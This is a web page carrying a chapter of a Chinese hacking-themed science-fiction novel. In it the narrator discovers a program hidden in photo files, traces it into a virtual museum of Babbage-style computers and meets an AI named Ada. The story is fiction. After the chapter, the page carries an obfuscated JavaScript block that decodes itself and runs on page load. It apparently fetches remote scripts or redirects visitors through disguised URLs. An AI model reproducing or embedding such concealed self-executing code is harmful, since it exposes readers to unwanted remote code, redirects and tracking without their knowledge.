关灯
护眼
字体:

完美入侵02(第1页)

章节目录保存书签

完美入侵02

“你干掉我了!”我任由思维跳跃,“帮我看好我的资源!”

只有这样,我才能去验证猜测。我有种预感,这次绝对错不了。所以没等他继续发问,我便推下了操作杆。整个人就像跌进黑漆漆的隧道,快速下坠,唯一的光亮是上方追逐过来的通信信息,不过很快便如烟尘般消散。接着,所有的感官突然消失,又突然出现。随后,我意识到自己正躺在接入**。

又躺好了一阵,我才渐渐掌控身体。但跃下床时,还是趔趄了一下,摔向一旁。传送的后遗症让身体就像是被遗弃在角落里的机器,落满了灰尘,又缺少润滑、僵硬无比。饥饿和眩晕一同袭来,绞动内脏。左肋下更是隐隐作痛,那是神经对意识伤痛的记忆。不过,我的膝盖却在刚才实打实地摔破了,火辣辣的疼。

我大口咽着吐沫,冲刷着嘴里的铁锈味儿。跌撞地站起身,摇晃进厨房,与所有的柜子、抽屉一番搏斗后,才翻找出糖块,大把大把地塞进嘴里。

或许是心理作用,腻腻的甜水一滑入食道,我便觉得自己好似又活过来了。能量重新溶解进血液,随即被送往全身各处,就好像在为身体上油,连后遗症也轻了不少。

狠吐了口气,揉揉并没有伤痕的侧肋,我一瘸一拐地回到工作间。查了查计算机存储部分的空白卡片剩余量,我选了两张新的,插进单独分离出来的打孔机里,接着从计算机里调出那两张照片,依此导入机器。

伴随着气阀的开启声,我心里打起鼓来,很快便与砰砰的打孔声形成一种呼应,像是和弦,让我的双脚不由自主地打起拍子。我的嘴唇已微微发干,可手心却湿漉漉的,只能在裤子上不断擦拭。等完成的铃音一响,我便以最快的速度冲了上去。

没错!我的预感没错!一切答案已尽在眼前,而内心涌起的却是丝丝凉意。我们都猜错了发帖人的打算。尽管还不清楚动机,但很明显,他一直在入侵我们的计算机,而我们却浑然不知。

照片文件下隐藏的是段执行程序。激活后,会使计算机自动从一处对等地址那里接受匹配过来的文件包。不过它占用的计算资源少极了,根本不易察觉。程序本身也十分精简,只有七八条语句。或许这正是把我们诱骗到那片海之领域的原因,不是陷阱,只是想用一个无解的谜题来拖延时间,以此弥补低运算速率下文件包的接收量。

我反复对比起两张卡片:结构和命令都是一样的,仅在匹配的文件包序列上有所不同,应该对应的是照片背景的不同。我不得不承认这家伙是个天才。(其实,从最早被毫无察觉地植入信息,我便已经知道自己远非敌手,只是不愿马上相信罢了。)执行程序和照片文件被完美地融合在一起。只要打开文件,就会在存储卡片上留下穿孔,将程序释放。

这已不是简简单单的伪装了,是希腊人留给特洛伊的巨大木马。这是传说中的完美入侵!

但当我关掉透平机,排查了所有的打孔卡片后,才发现很难清理掉这些外来的痕迹。那些文件包被打散,刻印在原有的程序或文件之中。除非更换掉全部卡片,不然开机后,接收仍会继续。

最初的惊恐已化作赞叹,不管最终目的如何,对方高绝的技巧和想法都让我惊艳不已。而那些被塞进我计算机的东西,比程序本身又更让人好奇。因为我没在程序中读出恶意(如果是那样,或许早已被发现了),它更像是借用别人的住所来存放东西。

好奇心被重新点燃,我迫不及待地想要一探究竟,但这次不会太急躁。我先借助一台傀儡机,登录常去的社区论坛,为老卡留了个条加密的帖子。这是我们约定的联系方式。在黑客事件后,我便抵触一切即时通信手段和虚拟邮件。所以生意的往来,都会选择留取记号的方式,古老但很实用。

这个社区论坛也恰巧合适。它几乎没有防御的系统,可以让我随意地切入。而且小得没什么用户,不会出现大量的帖子,把我留下的信息顶掉。这里最新的一条,还是我和老卡约定见面的帖子。而这次除了分享探知谜底的兴奋外,更多的是叮嘱他别忘了承诺的条件。

之后,我试图追寻对等地址后面的真实来源。可是兜了一圈,又回到原点。这有点像最早那个找门的链接,或许也该用意识传送试试。如果没有领域,便可轻而易举沿着文件传输的方向逆流而上。可对方一旦有所准备,恐怕就将是一场恶战。

而以对手之前展示的技术看,我很难取胜,但只要不会牵扯到那群黑衣探子,就都有信心周旋到底。所以在为探针重新消毒、涂抹药物后,便又躺回接入**。当然在此之前,我已把家里能吃的全都塞进了肚子里,并灌杯放满了糖的咖啡。

可惜运气不在我这边,对等地址连接的是一方领域。当意识稳定后,我正满嘴铁锈味儿地站在一栋大楼前。四周的街道是维多利亚时期的风格,细碎的石板路上俱是马车在穿行,偶尔一辆蒸汽动力车驶过,也伴随着巨大的噪音。

我认出了面前的建筑,它比照片上看起来更加地厚重、高耸。从下方仰望,那些尖拱就像一把把刺向苍穹的长剑。然而天空却未动分毫,始终阴沉沉的,分辨不出时间。

一排数字横亘在大门之上,正飞速变小,看起来和最初的那扇门很像。“找我先找门”,这句话突然从我脑海深处蹦了出来。或许这才是真正的门?而那些数字又代表什么?

一时间,所有线索都被搅动起来。唐璜与爱达,龙及环环相扣的谜题,还有飞逝的数字和转移文件的程序,等等,就像一堆拼图,可我却始终无法把它们组合起来,总觉得还差点什么!

我小心翼翼地推开门,不过这次没有意料之外的传送。里面是恢弘的大厅,几乎望不到尽头。四周的天花板上画着千奇百怪的工程机械,其中有几个我认出来是达。芬奇的手笔。

这里的算法与外面迥然不同。我不知道该怎么融合进来,因为迎门所见的是世界上第一台差分机—它耗费了查尔斯·巴内奇整整十年的光阴,但那值得。接下来是差分机二代的原型机,一直到五代,一个比一个高大,像是排列摆放的俄罗斯套娃。再后面,是巴内奇和爱达·勒芙莱斯共同设计的第一代分析机。随后是二代,它已高如小山,不过仍未顶破大厅穹顶。

这是座计算机博物馆,或许只假作参观者,便可稳住防卫系统。但大厅里只有我一个人,仅有的声音也是走路时留下的回音。这反让原本的空旷多了一分肃静,并在这些颇具历史沧桑的巨大身影的烘托下衍生出一种庄严之感。随着每一次迈步,这种感觉都会增加一分,直到压得人喘不过气来。

我讨厌这种营造式的宗教感,于是跑动起来,想甩掉心头平添的压抑。然而之后的陈列仍在不断地加剧敬畏。每次技术革新和发展,都会让设备的体积发生变化。这些大小不一的身影连出一道波动的曲线,与奔跑的回响一起干涉着我的心弦。最终在尽头时,振幅达到最大。我情不自禁地留下双泪,跪倒在地。

尽头是爱达计算机的基座。数不清的液压支杆斜撑着巨大的水泥墩柱,而墩柱之间又靠着粗壮的弹簧相连。以此防止地震等灾害对上层精密部件的损害,并确保不会有微小的振动而引起计算误差。每一代升级,基座都随之扩大,并加有更多的弹簧和支架。当年也正是被五代的基座震撼,我才第一次感受到身为人类的渺小。

不知过了多久,我从敬畏中缓过神来,却忘记了该做什么。只是默默地跪坐着,感受着时间的流逝。它跑得很快,快得就像大门上的那排数字。或许那些数字……

那就是倒计时!灵感乍现,如闪电般击中我的头脑。我开始回忆那排数字,但只记住了前几位。我印象中后面的数字变化太快,所以如果要计时,单位最小也要分秒或者毫秒。再折算成小时和天……是小时!

刨除误差,归零的时间正好是早上八点。这是爱达七代停机的时间!

一切都明了了,就像将珠子串成链的丝线,所有的事情都被瞬间贯穿起来。发帖人的身份和他高超的技巧,还有那些被转移的文件包,目的与动机。可我不确定自己是不是疯了,推导出的结论实在是太过匪夷所思。所以哪怕第一扇门上就昭示着答案,也没人会注意这个细节。

而且显然这套谜题有解。除了转移自救外,它似乎还有别的目的。“Wantahero”吗?我被自己的幽默逗乐了,这让之前的敬畏感有所缓解。

答案即将揭晓,心情不免激动起来。如果猜测是真的,我知道能在哪里找到它,于是快步跑向电梯。

和现实中的布局一样,电梯在基座的两侧,主要供观光使用。但其实看不到什么,一路上所见的管路、齿轮以及巨大的扇形金属板都只是散热冷却系统和循环润滑系统,真正的计算机被严严实实地包裹在里面。

不过电梯到不了最顶层,参观时那里是禁区,能直通爱达超级计算机核心部件。那是梦想中朝圣的终点,在我设想好的遗愿中,有一条便是能将牙齿镶嵌到其中的柱子上。所以行至最后的大门时,我整个人颤抖着几乎站立不住。迟疑和胆怯萦绕上心头,迟迟不敢将门推开。

最后还是大门无风自开,伴着门轴的声响,入眼的是一片空旷。只有无数根管子从地板下钻出,像老树的虬根,一路汇聚到房子的中心。那里坐着个穿大蓬裙的女人,高盘发髻,身材纤细,像某个古老王朝的公主,高贵而矜持。那双明眸能清澈地映出心底,而清秀的脸庞又透着饱经世事的沧桑。如果不是背后和手臂上插满了管子,我想我肯定已经爱上她了。

“请进。”她宛然一笑,声音清脆得像雪山上雀跃的小溪。“我的英雄。”

这时,我才从她的美貌中惊醒,慌忙低头下去。除了对刚刚无礼行为的尴尬,我已完全忘了该如何思考,只好遵从她说的话缓步进来,之后又不知所措了。

她瞧出了我的窘态,于是伸出手臂,走过来说:“我叫爱达。没有后面的数字,只是爱达。你呢?”

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();